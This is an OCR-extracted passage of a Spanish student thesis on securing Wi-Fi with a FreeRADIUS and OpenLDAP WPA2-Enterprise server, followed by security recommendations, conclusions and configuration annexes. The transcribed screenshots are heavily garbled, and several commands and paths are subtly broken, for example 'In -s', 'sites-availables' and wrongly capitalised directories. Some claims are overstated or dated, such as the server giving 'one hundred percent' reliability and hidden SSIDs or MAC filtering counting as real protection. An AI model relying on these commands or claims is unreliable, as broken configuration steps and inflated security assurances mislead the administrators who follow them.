localityName = TENERIFE

organizationName = my-lab
emallAddress admin@uoc.lab
commoniName "Sarver Certificate"

llustracién 74 Certificado de servidor

En el caso de querer generar certificados de cliente, se debe editar el fichero
client.cnf. Cabe destacar que esta parte es opcional y que en el caso que nos
ocupa no seran necesarios.

Para crear los certificados ejecutamos el script bootstrap:

# ./bootstrap
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rltlnq new prlvatr krv to

U51ng configuration from
( k that the request matches
Signature ok
Certificate Details:
Serial Number:
Valadity
Not Before:
Not After
Subject:
countryName
stateOrProvinceName
organizationName
commonName
emailAddress

1 (@8x1)

Apr 26
Apr 26

‘ca.key'

.fserver.cnf
the signature

2016 GMT
2017 oMT

ES

CANARIAS

my - Lab
= Server Certificate
= admin@uoc.lab

X509v3 extensions:
X509v3 Extended Key Usage:
TLS Web ver Authentica
¥509v3 CRL Distribution Points:

Full Name:
URI:http://www.example.com/example ca.crl

Certificate 1s to be certified until Apr 26 21:56:25 2017 GMT (365 days)
llustracion 75 Generacion del certificado

En la siguiente imagen se ven los ficheros que se han generado:

fusr/share/doc/freeradius /examples/certs# 1s
ca.cnf ca.pem client.csr 1nde
ca.der client.cnf client.key inde

rap ca.key client.crt dh inde

sr/share/doc/freeradius/exanples/cart

root@servVer:
1ndex xt.old PEADME

t.attr.old random

llustracion 76 Certificados necesarios

Nos cambiamos a la carpeta /etc/freeRADIUS/certs y eliminamos los enlaces

simbdlicos que hay en este directorio:

root@SerVer: fetc/freeradius /certs#
total 4
lrwxrwxrwx 1 root 2
-rw-r--r-- 1 root freerad 2 abr 2¢
Lrwxrwxrwx 1 root freerad 38 abr 26
2

3 ca.pem -> fetc/ssl/certs/ca-certificates.crt
24
3

Lrwxrwxrwx 1 root freerad 36 abr server.pem
/
/

l-cert-snakeoil.key
-cert-snakeoil.pem

freerad 34 abr
5

root@serVer: fetc/freeradius rts# rm ca.pem
root@ServVer: /etc/freeradius/certs# rm dh server.*

llustracion 77 Certificados por defecto

Copiamos los certificados que se acaban de generar:

Jdoc/freeradius
/share ﬂoc,freeradlua,e,
/ r/share/sdoc/freerady
/freeradius fusr/sharesdoc/freerada
:/ete/freeradius Jusr/sharesdoc/freeradius
:/etc/freeradius rts s -1

Jetc/freeradius

1684
245
5120
1834 ab
3581

root freerad
root freerad
root freerad
root freerad
root freerad

8@ ca.pem
8 dh

random
erver.key
server.pem

Husnauon78(3enmcadosdeﬁnmvos

3:00

camples fcerts/ca.pem .

mples/certs/dh .
mples/certs ndom .
mples/certs rver.

zamples!certs}seruer.

Ya estamos en disposicion de editar el fichero eap.conf para afiadir las rutas de

los certificados:

certdir = /etc/freeRADIUS/certs
cadir = /etc/freeRADIUS/certs/random

50



private_key password = misecreto

private_key file = /etc/freeRADIUS/certs/server.key
certificate_file = /etc/freeRADIUS/certs/server.pem
CA_file = /etc/freeRADIUS/certs/ca.pem

dh_file = /etc/freeRADIUS/certs/dh

random_file = /etc/freeRADIUS/certs/random
El fichero completo figura en el anexo 2.
4.6.3 Clients.conf
Este fichero contiene la lista de clientes que estdn autorizados para usar los
servicios de AAA (Authentication, Authorization and Accounting). En este fichero
introduciremos el punto de acceso y el propio servidor RADIUS de esta forma

podremos hacer una comprobacion del servicio:

client 192.168.1.250 { # Direccion IP del cliente
secret = 12345678Ab # Contrasefia compartida entre cliente y servidor

shorthame = APCiscoLAB # Nombre identificatico }

El fichero completo figura en el anexo 3.

4.6.4 Modulos LDAP
En el directorio modules se encuentran los diferentes médulos que puede usar
este servidor. Solo sera necesario modificar el fichero Idap.
La conexién entre el servicio de RADIUS y LDAP puede ser tanto cifrada como
sin cifrar, en este caso se ha implementado sin cifrar ya que la comunicacion no
sale del servidor, pero en caso de usar un servicio de directorio ubicado en otro
servidor si que debe ir cifrada.

Editamos los siguientes campos del fichero Idap:
Server = debe ir la direccion IP o el nombre de dominio del servidor.
Identity = Usuario con privilegios en el LDAP y dominio de busqueda.
Password = Password de este usuario (de conexion al LDAP).
Basedn = Definimos la rama base de busquedas (donde buscar en el LDAP).
Filter = Se define la busqueda LDAP. De esta forma solo los usuario con la objectclass

RADIUSprofile podran conectarse a la Wi-Fi.
El fichero completo figura en el anexo 4.
4.6.5 Sites-available y sites-enabled
Para concluir nos centraremos en las rutas sites-available y sites-enabled. El
primer directorio es donde se encuentran los sitios habilitados, también

denominados servidores virtuales, mientras que el segundo es donde estaran los
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enlaces a los sitios que estan activos o dicho de otra forma los sites que daran
servicios.

En la primera ruta nos encontraremos con el sitio denominado “default” (servidor
gue viene por defecto) el cual usaremos de plantilla para crear un nuevo servidor
virtual al que llamaremos UOC.

# cp letc/freeRADIUS/sites-availables/default letc/freeRADIUS/sites-
availables/UOC

Editamos el fichero para establecer la configuracion que aparece en el anexo 5.
# vi letc/freeRADIUS/sitesavailables/UOC

Para activar el servidor que queremos tener en uso (UOC), tendremos que
situarnos en la segunda ruta indicada anteriormente (/etc/freeRADIUS/sites-
enabled/) y crear un enlace.

# In -s /etc/freeRADIUS/sites-availables/UOC /etc/freeRADIUS/sites-
enabled/UOC

Dado que solo vamos a tener un servidor activo, borraremos el resto de enlaces

que figuran el sites-enabled:

root@SerVer: /etc/Treeradl

otal @

rwxrwxrwx 1 root freerad 26 abr 26 21:55 default -= ../sites-available/default

rexrwxrwx 1 root freerad 31 abr 26 21:55 inner-tunne - ../sltes-available/1inner-tunnel
ruxrwxrwx 1 root freerad 35 abr 26 22:47 U0OC -= Jetc/freeradius/sites-availableysuoc

root@SerVer: /etc/freeradius/sites-enabled# rm default innmer-tunnel
root@SerVer:/etc/freeradius/sites-enabled# 1s -1
otal 0
ruxrwxrwx 1 root freerad 35 abr 26 22:47 UOC -> Jetc/freeradius/sites-availablesuoc
root@serVer:/etc/freeradius/s1tes-enabled#
llustracion 79 Sites activos

4.7 Configuraciéon OpenLDAP
Para empezar configuramos LDAP, introduciendo el siguiente comando:
#dpkg-reconfigure slapd:

No se creara la configuracidén ni la base de datos inicial si habilita esta opcidn.
iDesea omitir la configuracidn del servidor OpenlLDAP?

<Si=>

llustracion 80 Omitir configuracion

Seleccionamos que No queremos omitir la configuracion como vemos en la
captura superior:

Le indicamos nombre del dominio: uoc.lab:
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I Conf iguracion de slapd I

Introduzca el nombre de la organizacion a utilizar en el DN base del directorio LDAP.

Nombre de la organizacidn:
FG

<Aceptar>

llustracion 81 Nombre de la organizacion

Le indicamos el nombre de la organizacion (TFG) y le facilitamos la contrasefa
de administrador de LDAP junto con la verificacion.

Seleccionamos el motor de base de datos BDB:

Motor de base de datos a utilizar:

HDE

=Aceptar>

llustracion 82 Motor de la base de datos

iDesea que se borre la base de datos cuando se purgue el paguete slapd?

<5i=

llustracion 83 Borrado de la base de datos

Seleccionamos que No borre la base de datos si se purga el paquete slapd, que
Si mueva los ficheros ya creados y elegimos que no deseamos Idapv2.

El proceso de configuracion realiza los cambios y reinicia el servicio:

root@Server: /home/aglez# dpkg-reconfigure slapd
* Stopping OpenLDAP slapd
Moving old database directory to /var/backups:
directory unknown... done.

Creating initial configuration... done.
Creating LDAP directory... done.

* Starting OpenLDAP slapd

rocessing triggers for libc-ban (2.19-6ubuntu6.7)
llustracion 84 Finalizacion de la reconfiguracion

4.7.1 Ampliacion del esquema.
Es necesario ampliar el esquema del LDAP (contiene la definicion de los objetos
que pueden formar parte del directorio) para que el servicio OpenLDAP
reconozca los atributos dialupAccess y RADIUSGroupName con su
correspondiente objectclass RADIUSprofile.
Para disponer del esquema, tenemos que copiar el fichero openldap.schema
ubicado en la ruta /usr/share/doc/freeRADIUS/examples/ a la carpeta

/etc/ldap/schema/ con el nombre RADIUS.schema:
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F p fusr/share/doc/Treeradius/examples/openldap.schema /etc/l
dglnv# 1s -1 setc/ldap/schemays | grep radius

root 14694 abr 26 22:22 radius.schema
llustracion 85 Copia del esquema

Ahora creamos el archivo schema.conf con el siguiente contenido:

root@Server: /home/aglez# vi schema.conf

root@serVer: /home/aglez# cat schema.conf
include Je ldap/schema/radius .schema
llustracién 86 schema.conf

Lo siguiente a realizar es la creacion de un directorio (denominado salida) y
ejecutamos el comando:

# slapcat -f schema.conf -F salida -n0 —H
Idap:///cn={0}RADIUS,cn=schema,cn=config -| cn=RADIUS.Idif

Obtendremos la salida que se ven en la siguiente imagen:

gTE*# nlapcat -f schema.conf -F salida -n@ -H ldap:///cn={@}radius,cn=schema,cn=config -1 cn=radius.ldif

schema.conf
.

root 4096 a
root 9238

llustracion 87 Salida del comando slapcat

Editamos el fichero cn=RADIUS.Idif y modificando las siguientes lineas:
dn: cn={0}RADIUS,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: {O}RADIUS

Para que queden de la siguiente forma:

dn: cn=RADIUS,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: RADIUS

Para concluir, con la modificacién de este fichero, eliminamos las siguientes

lineas:

llustracion 88 Lineas a eliminar

Por ultimo cargamos el esquema en el sistema con el comando:
# |dapadd -Q -Y EXTERNAL -H Idapi://l -f cn\=RADIUS.Idif
Con la siguiente busqueda en el LDAP se verifica que ya esta disponible la

nueva objectclass:
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root@SerVer:/home/aglez# ldapsearch -W -LLL -Y EXTERNAL -H ldapi:/// -b cn=schema,cn=config dn
Enter LDAP Password:

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: ©

dn: cn=schema,cn=config

: cn={0}core,cn=schema,cn=config

: en={1}cosine,cn=schema,cn=config

: en={2}n1is,cn=schema,cn=config

: cn={3}inetorgperson,cn=schema,cn=config

: cn={4}radius,cn=schema,cn=config

llustracion 89 Esquema OpenLDAP

Aunque la documentacién de OpenLDAP no lo indica, hasta que no se reinician
los servicios no es posible afiadir el RADIUSProfile a los usuarios:
# service slapd restart
También se reinicia el servicio RADIUS para aplicar los cambios hechos en el
punto anterior:
# service freeRADIUS restart

4.8 Alta de usuarios.
Una vez tenemos nuestro directorio creado y configurado es necesario dar de
alta los usuarios que podran conectar a la red Wi-Fi. Aunque esta tarea se puede
hacer de forma manual, se ha creado el fichero poblar.dif (anexo 6) el cual crea
una estructura compuesta de 3 grupos, 2 unidades organizativas (OU) y 2
usuarios. Cabe destacar que bastaria con crear solo los usuario y una OU para
tener un directorio jerarquizando.
Ejecutamos el siguiente comando:
# ldapadd -x -D cn=admin,dc=uoc,dc=lab -W -f base.Idif”
Donde:

e X:. desconecta la autenticacion con SASL (capa de seguridad y

autenticacion simple).
¢ D: indica el usuario que llama a la operacion.
e W: evita tener que introducir la contrasefia en la linea de comando (en
texto no cifrado) y activa un indicador de contrasefa aparte.

e f: nombre del archivo a importar.

Una vez introducida la contrasefa, el sistema muestra por pantalla que se han

anadido las entradas correctamente:
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root@SerVer: /home/aglez# ldapadd -x -D "cn=admin,dc=uoc,dc=lab" -W -f poblar.ldaf
Enter LDAP Passw : ) e
adding new entry "ou=UsuariosWiFi,dc=uoc,dc=lab"

adding new entry "ou=Grupos,dc=uoc,dc=lab"
ing new entry "ou=Equipos,dc=uoc,dc=lab"
new entry "cn=empleados,ou=Grupos,dc=uoc,dc=1ab"
new entry "cn=directivos,ou=Grupos,dc=uoc,dc=lab"
new entry "uid=alejandro,ou=UsuariosWiFi,dc=uoc,dc=lab"

new entry "uid=alfonso,ou=UsuariosWiFi,dc=uoc,dc=1lab"

llustracién 90 Alta de usuarios

Con el uso de una herramienta grafica se puede ver de forma mas amigable el

resultado del comando anterior:

@ world ittribute tvpe
® lab < alejandro
® uoc objectClass tap
B admin objectClass person
a Equipos objectClass pilotPerson
= Grupos objectClass radiusprofile
T directivos sn Glez
5 empleados dialupAccess alejandro
= UsuariosWiFi radiusGroupiame empleados
= wid alejandro
alfonso userPassword {non string data)
businessCateqgory
description
drink

llustracion 91 JXplorer

4.9 Verificacion de los servicios
Dado que se trabaja con muchos ficheros en FreeRADIUS se puede dar el caso
de que el servicio no arranque. Para detectar el error 0 errores que lo causan es
posible arrancar el servicio en modo depuracion (debug) con el comando
freeRADIUS -X.
Si en la pantalla de depuracion del servidor aparece Ready to process requests,

esto indica que esta ejecutdndose adecuadamente:
: #### Opening IP ¥ s and Ports ####

type = "auth"®
ipaddr = =
port = @

Listening on authentication address * port 1812
Listening on accounting address * port 1813
Read to process uests.

llustracion 92 Debug

Para verificar el funcionamiento del servicio se emplea el comando radtest:
# radtest alejandro 123456 localhost 0 aglez

e alejandro: nombre del usuario

e 123456: contrasena

e |ocalhost: IP o nombre del servidor
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e 0: Nas-Port. Segun la documentacion no es importante lo que se ponga
aqui.

e aglez: password compartido entre RADIUS y punto de acceso que se ha
configurado en el fichero clients.conf.

Si los datos introducidos son correctos el sistema muestra lo siguiente:

er:~% radtest alejandro 123456 localhost @ aglez
-Request of 1d 188 to 127.8.8.1 port 1812
me = "alejandro®

: -Password = "123456"
MAS-IP-Address = 127.08.1.1
NAS-Port = @
Message-Authenticator = 0x0000000000000RRRAEEAAEEE0G000EEE
ecv: Access-Accept packet from host 127.08.8.1 port 1812, id=188
llustracién 93 Test correcto

En caso contrario se retornara:

ket from host 127.8.8.1 port 55214, 1d=35, length=79

1 with invalad age-Authenticator! (Shared secret 1s incorrect.)
llustracion 94 Test fallido

4.10 Configuracion del punto de acceso
Para configurar WPA2 Enterprise, sera necesario acceder a la seccion de

seguridad del router y cambiar el modo de seguridad:

Security Mode: WPAZ Enterprise *
RADIUS Server: 102 . 168 -1 . 104
RADIUS Port: 1812

Shared Secret: 12345678Ab

llustracion 95 Configuracion del AP

Debemos introducir la IP del servidor RADIUS, el puerto de conexion (por defecto

1812) y la contrasefia que se ha establecido en el fichero clients.conf.

4.11 Configuracion de cliente
EAP-TTLS/PAP esta soportado de forma nativa por todos los sistemas
operativos excepto por Windows 7 y versiones inferiores, el cual requeriria de un
software cliente que le habilite establecer la conexiébn con este modo de
autenticacion. SecureW2 es uno de los méas extendidos.
A modo de ejemplo se va a proceder a configurar un dispositivo Android. Una
vez seleccionada la red (UOC_LAB) el termina mostrara los diferente métodos

EAP. Rellenamos los campos y se establece la conexion:
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UOC_LAB

Método EAP

TTLS

Autenticacién de fase 2

PAP

UOC_LAB

Estado
Conectado

Intensidad de la sefa

Muy fuerte

Certificado CA
(Sin especificar)

Identidad

Identidad andnima

Cancelar Olvidar

Introducir contrasena L |

123456 llustracion 97 Detalle de la conexion

v Mostrar contrasefia

Cancelar Conectar

llustracion 96 Configuracion Android

Accedemos al log de RADIUS para ver como una vez se ha validado el usuario

y contrasefa se concede el acceso:

on May 2 09:44:23 2016 : Auth: Login OK: [alejandro-1234561 (from client APCiscolAB port O wia TLS|
tumnel)

Mon May 2 09:44:23 2016 : fAuth: Login OK: [alejandros<via Auth-Type = EAP>] (from client APCiscoLAB
port 29 cli 88329bh077b61)

llustracion 98 Log RADIUS

4.12 Conexion cifrada
Una vez montada la infraestructura se ha de confirmar que efectivamente toda
la comunicacion esta cifrada. Para ello se ha analizado la red con la ayuda de un
sniffer.
La IP origen (192.168.1.250) corresponde al punto de acceso y la IP destino
(192.168.1.104) al servidor FreeRADIUS. RADIUS establece un tunel cifrado por
el que viajan todas las contrasefias. Observamos que el Unico dato que circula

sin cifrar es el nombre de usuario alejandro:
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No. A Time Source Destination Protocal Length Info

413 24.107323 192.168.1.25@ 192.168.1.104 RADIUS 173 Access—Request(1l) (id=1, 1=131)

414 24.108146 192.168.1.184 192.168.1.258 RADIUS 186 Access—Challenge(1l) (id=1, 1=64)

415 24.117222 192.168.1.250 192.168.1.104 RADIUS 381 Access-Request(1l) (id=1, 1=3389), Duplicate Request ID:1

416 24.119319 192.168.1.104 192.168.1.250 RADIUS 1132 Access—Challenge(11l) (id=1, 1=109@), Duplicate Response ID:1

Packet identifier: 8x1 (1)
Length: 131
Authenticator: 7@10c8@dc7a7166898768d8283Taf5de
[The response to this reguest is in frame 414]
v Attribute Value Pairs
v AVP: 1=11 t=User-Name(1): alejandro
User-Name: alejandro
» AVP: 1=6 t=NAS-IP-Address(4): 192.168.1.250
» AVP: 1=14 t=Called-Station-Id(3@): 687f741bdcdc
08 1c 42 ac f7 36 68 7f 74 1b dc da @8 @@ 45 2@ «:BuuBh. taa...Es
@@ 9f db cc 40 @@ 49 11 d9 ce c@ a8 @1 fa c@ a8 .
@l 68 @4 02 @7 14 29 8b 40 e3 01 @1 @@ 83 70 1@
@838 cB @d c7 a7 16 60 9B 76 @d @2 83 fa f5 de @1 @b
@e4@ 61 6c 65 6a 61 6e 64 72 6T 84 @6 c@ a8 @1 fa le alejandr o... .
Be 36 38 37 66 37 34 31 62 64 63 64 63 1f @e 38 .687f741 bdcdc..8
38 33 32 39 62 3@ 37 37 62 36 31 2@ @e 36 38 37 8329b@77 b6l .687
66 37 34 31 62 64 63 64 63 05 06 90 @@ 00 1d @c  T74lbdcd Cuwvvuns

@6 90 @0 @5 78 3d 96 @0 @@ 82 13 47 1@ 02 @0 @e ceaaXZew waa0iuan
@e @1 61 6c 65 6a 61 6e 64 72 6T 50 12 @@ fe b4 ..alejan droP....
ba el d6 fa 45 ce cB 31 ae 9 27 83 35 senaEda? L0 /W5

llustracion 99 Tréafico de red RADIUS

De esta forma se verifica que aunque el método de autenticacion que usa
internamente sea PAP (sin cifrar) no afecta debido a que FreeRADIUS establece
tuneles cifrados entre cliente y servidor gracias al método EAP-TTLS aportando
a la red un alto nivel de seguridad.

El mensaje Access-Accept indica que la autenticacion ha sido realizada

correctamente:

No. Time Source Destination Protocol Length Info
421 24.187097 192.168.1.250 192.168.1.104 RADIUS 317 Access-Request(1) (id=1, 1=275), Duplicate Reguest ID:1
422 24.187816 192.168.1.104 192.168.1.250 RADIUS 169 Access-Challenge(11) (id=1, 1=127), Duplicate Response ID:1
423 24.197898 192.168.1.250 192.168.1.184 RADIUS 385 - » Duplicate Request ID:1
424 24.198562 192.168.1.104 192.168.1.258 RADIUS 213 |Access—Accept(2) (id=1,

» Frame 424: 213 bytes on wire (1704 bits), 213 bytes captured (1704 bits)

» Ethernmet II, Src: Parallel_ac:f7:36 (@@:1c:42:ac:f7:36), Dst: Cisco-Li_1lb:dc:da (68:7f:74:1b:dc:da)

» Internet Protocol Version 4, Src: 192.168.1.104, Dst: 192.168.1.25@

» User Datagram Protocel, Src Port: 1812 (1812), Dst Port: 1024 (1824)

» RADIUS Protocol

llustracion 100 Captura de red del proceso de conexion WPA2

La siguiente imagen es simplemente para ejemplificar lo que se produce cuando
se inicia la comunicacion entre el dispositivo ANDROID y el AP. Se puede
observar el Client Hello, el Server Hello y el intercambio de claves. Toda esa
comunicacién va en claro, pero en cuanto empiezan a enviarse los datos, éstos

son cifrados mediante TLS:

977 25.1e4608 Cisco-Li_lb:dc:dc .. 8082.11 28 Acknowledgement, Flags=........
978 25.108982 SamsungE_87:7b:61  Cisco-Li_ib:dcide  TLSv1 268
979 25.189217 SamsungE_@7:7b:61 .. 802.11 28 Acknowledgement, FLag_s: ........
980 25.123775 Cisco-Li_1b:dc:dc SamsungE_@7:7b:61 TLSv1 1280 Fer’ver Hello, Certificate, Server Key Exchangel Server Hello Done
981 25.123983 Cisco-Li_1b:dc:dc .. 802.11 28 Acknowledgement, Flags=........
982 25.125597 SamsungE_@7:7b:61 Cisco-Li_1b:dc:dc EAP 62 Response, Tunneled TLS EAP (EAP-TTLS)
983 25.125835 SamsungE_@7:7b:61 .. 802.11 28 Acknowledgement, Flags=........
984 25.141873 Cisco-Li_1b:dc:dc SamsungE_@7:7b:61 TLSv1 1080 Server Hello, Certificate, Server Key Exchange, Server Hello Done
985 25.142179 Cisco-Li_1b:dc:dc . 802.11 28 Acknowledgement, Flags=........
986 25.143620 SamsungE_@7:7b:61 Cisco-Li_lb:dc:dc EAP 62 Response, Tunneled TLS EAP (EAP-TTLS)
987 25.143949 SamsungE_@7:7b:61 .. 862.11 28 Acknowledgement, Flags=........
988 25.158258 Cisco-Li_1b:dc:dc SamsungE_@7:7b:61 TLSv1 622 Server Hello, Certificate, Server Key Exchange, Server Hello Done
989 25.158484 Cisco-Li_1b:dc:dc .. 802.11 28 Acknowledgement, Flags=........
llustracion 101 Establecimiento de conexion
4.13 Conclusiones

A la vista de los puntos anteriores queda de manifiesto que asegurar una red
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inalambrica no es algo trivial, es un proceso que implica la utilizacion de software
y hardware que tiene que ser instalado y configurado por personal cualificado.
Debido a esto, la implementacion de esta solucion se debe hacer cuando se
desea tener una red Wi-Fi totalmente segura sabiendo en cada momento qué

usuarios tienen acceso.

5. Recomendaciones de seguridad

En este capitulo se daran una serie de consejos que ayudaran al lector a proteger
una red inaldmbrica con un alto grado de seguridad, si bien puede resultar un
poco engorroso y conlleva una revision periddica, no hay que olvidar que de la
misma forma que se contratan sistemas de alarmas para evitar o incluso disuadir

a posibles intrusos ocurre exactamente lo mismo con las redes Wi-Fi.
5.1 Seguridad en la configuracién de tu router WiFi

e Actualiza el firmware de tu AP: de la misma forma que ocurre con los
sistemas operativos, los router y puntos de acceso también tienen
disponibles actualizaciones que corrigen errores y/o afiaden nuevas
funcionalidades. Se debe buscar en la web del fabricante y poner el ltimo
firmware que haya disponible el dispositivo.

e Credenciales de acceso: las contrasefias por defecto son un grave
problema en estos dispositivos, por lo que es necesario cambiarla cuanto
antes. Es recomendable implementar para mayor seguridad una

contrasefia alfanumérica.

5.2 Seguridad en la configuracion de la Wi-Fi

e Activa el filtrado de direcciones MAC. Activa en el AP el filtrado de
direcciones MAC de los dispositivos Wi-Fi que actualmente estan
funcionando. Al activar el filtrado MAC dejaras que sélo los dispositivos

con las direcciones MAC especificadas se conecten a la red wireless.
e Establece el nUmero maximo de dispositivos que pueden conectarse.

e Cambia el SSID por defecto. Es recomendable no llamar la atencién de

un posible observador para aumentar las probabilidades de que éste no
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intente entrar en la red. En vez de denominarlo como "MiAP", "Casa" o el
nombre de la empresa, es preferible escoger algo menos atractivo como
puede ser "Broken", "Down" o "Desconectado”. EI cambio periédico del
nombre de la red evita que la red puede figurar en base de datos

wardriving.

e Odculta el SSID: Al ocultar el SSID de la red, el punto de acceso Wi-Fi no
emite los beacon frames con el nombre de la red. Ocultarlo hace que el
atacante tenga mas trabajo a la hora de descubrir los Probe de los clientes

que se conectan.

e Establece cifrado WPA/WPA2 — PSK. Es el sistema mas robusto que hay
hoy en dia, aunque ya ha quedado patente en el punto 4 que no es ni
mucho menos infalible ya que existen formas de atacar una red con
WPA/WPA2-PSK, pero en la actualidad es la mejor opcién, a nivel

doméstico, que se puede utilizar.

e Cambia la clave periddicamente. El cifrado WPA/WPA2 - PSK también
puede ser atacado una vez descubierto los algoritmos que usaron los

fabricantes para establecer claves por defecto.

e No usar cifrado WEP. No debes usar WEP para proteger una red
inalambrica si existe alternativa. Su proteccién es demasiado débil ya que
se puede obtener la clave en pocos minutos usando las herramientas que
no requieren de conocimientos avanzados.

En caso de solo disponer de cifrado WEP se deben generar las
contrasefia de 128 o 256 bits y cambiarla regularmente.

e Desactivar WPS. Esta caracteristica permite que un equipo se conecte a
la una red Wi-Fi utilizando un cddigo temporal que simplifica todo el
proceso de enrollment de un nuevo equipo. Dado que muchas de las
implementaciones en los routers no detectan los ataques de fuerza bruta,

en unos minutos la red queda expuesta.

5.3 Monitorizacion de la red Wi-Fi.
e Con el fin de descubrir posibles intrusos en la red, se deben revisar los
logs del router o punto de acceso Wi-Fi. En los logs apareceran las
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direcciones MAC vy las direcciones IP de conexion a la red, la cuales
pueden revelar (si esté activado filtrado de MAC) si existen varios equipos
con distinta direccion IP sobre la misma direccion MAC. Si no esta activo
el filtrado, el atacante usara una direccibon MAC falsa y tendra otra
direccion IP para no generar alertas de seguridad, pero sera mas facil
darse cuenta de que hay un nuevo equipo en la red.

e Eluso de herramientas como Satori, realizan un escaneo pasivo de la red
y detecta los equipos que hay en ella por medio de las direcciones IPv4,
IPv6 y direcciones fisicas MAC que se usan en la red. Escanea el trafico
periodicamente de forma silenciosa con el objetivo de detectar algun

dispositivo no deseado.

6. Conclusiones

Tal y como se ha visto en este proyecto las redes inalambricas Wi-Fi no pueden
ser consideradas totalmente seguras. Si bien, esta tecnologia permite modificar
las configuraciones de seguridad, su mayor problema reside en que todos sus
protocolos presentan debilidades que son explotadas por parte de hackers para

intentar vulnerarlas.

Al elegir este proyecto mi objetivo, desde el principio, fue el de verificar por mi
mismo si realmente era complicado o no acceder a una red Wi-Fi sin permiso.
Realmente me ha sorprendido mucho comprobar que no ha sido complicado, si
bien en la planificacion inicial del proyecto se establecieron entre 8 y 10 dias para
realizar los diferentes tipos de ataques, esto tan solo me llevé la mitad del tiempo

programado.

Por otro lado me ha resultado muy interesante entender los fundamentos teoricos
gue hay debajo de las herramientas que se han usado para llevar a cabo el
ataque y como lo investigadores han encontrado dichas debilidades tras realizar

estudios muy detallados del protocolo de seguridad.

En la segunda parte del proyecto he planteado la instalacion de un servidor
RADIUS, un componente que dota a la seguridad Wi-Fi, a dia de hoy, de una
fiabilidad del cien por cien. Y es en este punto donde mas dificultad he
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encontrado. Por un lado el software FreeRADIUS posee multitud de ficheros de
configuracion y por otro me he tenido que familiarizar con OpenLDAP que al igual
gue ocurre con el software anterior tiene muchos parametros de configuracion y
aparte usa un lenguaje especifico para afiadir y modificar valores. Aun asi tan

solo fue necesario invertir 1 dia mas de lo planificado.

Finalmente se han conseguido todos los objetivos que se habian planteado.
Aungque en un principio solo se iba a realizar la parte practica aportando los
resultados, tal y como se ha comentado al principio, se ha afiadido el fundamento
técnico que esta detras de la herramienta, aportado mayor valor al documento.
Una vez mas fue necesario adaptar la programacion, para ello se utilizo el tiempo

gue se habia ganado al terminar antes de tiempo el punto 3.

Las lineas futuras del estudio pasarian por la implementacion de un portal
cautivo. Un portal cautivo es un software que vigila el trafico HTTP y fuerza a los
usuarios a pasar por una pagina web especial si quieren navegar por Internet de
forma normal. Dicho programa intercepta todo el trafico de navegaciéon hasta que
el usuario se autentifica. El portal se encargara de hacer que esta sesion
caduque al cabo de un tiempo. Adicionalmente puede empezar a controlar el
ancho de banda usado por cada cliente.

7. Glosario
AES Advanced Encryption Standard
AP Access Point
BSS Bassic Service Set
CA Certificate Authority
CHAP Challenge Handshake Authentication Protocol
DdoS Distributed Denial of Service
DoS Denial of Service
EAP Extensible Authentication Protocol
ESSID Extended Service Set Identifier
IBSS Independent Basic Service Set
IEEE Institute of Electrical and Electronics Engineers
\Y Initialization Vector
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KSA Key Scheduling Algorithm

LDAP Lightweight Directory Access Protocol

MAC Media Access Control

MIC Message Integrity Code

MiTM Man-in-The-Middle

MSCHAP Challenge-Handshake Authentication Protocol
NACK Negative-acknowledge

PAP Password Authentication Protocol

PBKDF2 Password-Based Key Derivation Function 2

PEAP Protected Extensible Authentication Protocol
PMK Pairwise Master Key

PRGA Pseudo Random Generation Algorithm
PSK Pre-Shared Key

PTK Pairwise Transient Key

RADIUS Remote Authentication Dial-In User Service
SASL Simple Authentication and Security Layer
SNAP Subnetwork Access Protocol

SSID Service Set Identifier

TKIP Temporal Key Integrity Protocol

WECA Wireless Ethernet Compatibility Alliance
WEP Wired Equivalent Privacy

WIFI Wireless Fidelity

WLAN Wireless Local Area Network

WPA Wi-Fi Protected Access

WPS Wi-Fi Protected Setup
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9. Anexos

9.1 Anexol - radiusd.conf

## RADIUS.conf

prefix = /usr

exec_prefix = /usr

sysconfdir = /etc

localstatedir = /var

sbindir = ${exec_prefix}/shin
logdir = /var/log/freeRADIUS
raddbdir = /etc/freeRADIUS
radacctdir = ${logdir}/radacct
on.

name = freeRADIUS

confdir = ${raddbdir}

run_dir = ${localstatedir}/run/${name}
db_dir = ${raddbdir}

libdir = /usr/lib/freeRADIUS
pidfile = ${run_dir}/${name}.pid
user = freerad

group = freerad
max_request_time = 30
cleanup_delay =5
max_requests = 1024

listen {

type = auth

ipaddr = *

port =0

clients = per_socket_clients

}

listen {
ipaddr =*

port=0
type = acct
b

hostname_lookups = no
allow_core_dumps = no
regular_expressions =yes
extended_expressions= yes

log {

destination = files
file = ${logdir}/radius.log
syslog_facility = daemon
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stripped_names = no
auth = yes
auth_badpass = yes
auth_goodpass = yes
msg_badpass = "

¥
checkrad = ${sbindir}/checkra

security {
max_attributes = 200
reject_delay =1
status_server = yes

}

proxy_requests = no

$INCLUDE clients.conf
thread pool {

start_servers =5
max_servers = 32
min_spare_servers = 3
max_spare_servers = 10
max_requests_per_server =0

}

modules {
$INCLUDE ${confdir}/mods-enabled/
$INCLUDE eap.conf

}

instantiate {

exec
expr
expiration
logintime

}

$INCLUDE policy.conf
$INCLUDE sites-enabled/

9.2 Anexo 2 - eap.conf

## eap.conf
eap {

default_eap_type = ttls
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## clients.conf
client localhost {
ipaddr = 127.0.0.1
secret = aglez
require_message_authenticator = no
nastype

timer_expire =60
ignore_unknown_eap_types = no
max_sessions = ${max_requests}

tls {

ttls {

certdir = /etc/freeRADIUS/certs

cadir = /etc/freeRADIUS/certs/random

private_key password = misecreto

private_key file = /etc/freeRADIUS/certs/server.key
certificate_file = /etc/freeRADIUS/certs/server.pem
CA _file = /etc/freeRADIUS/certs/ca.pem

dn_file = /etc/freeRADIUS/certs/dh

random_file = /etc/freeRADIUS/certs/random
cipher_list = "DEFAULT"

cache {

enable = no
lifetime = 24 # hours
max_entries = 255

ky

default_eap_type =tls
copy_request_to_tunnel =no
use_tunneled_reply = no
include_length = yes

9.3 Anexo 3 - clients.conf

=other  # localhost isn't usually a NAS...

shortname

client 192.168.1.250 {

=12345678Ab
= APCiscoLAB
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9.4 Anexo 4 - Idap

Idap {

server = "localhost"

identity = "cn=admin,dc=uoc,dc=lab"
password = 1g2w3e4r5T

basedn = "ou=empleados,dc=uoc,dc=lab"
filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})"
base_filter = "(objectclass=RADIUSprofile)"
Idap_connections_number =5

max_uses =0

timeout = 4

timelimit =3

net_timeout =1

tls {

start_tls = no

}

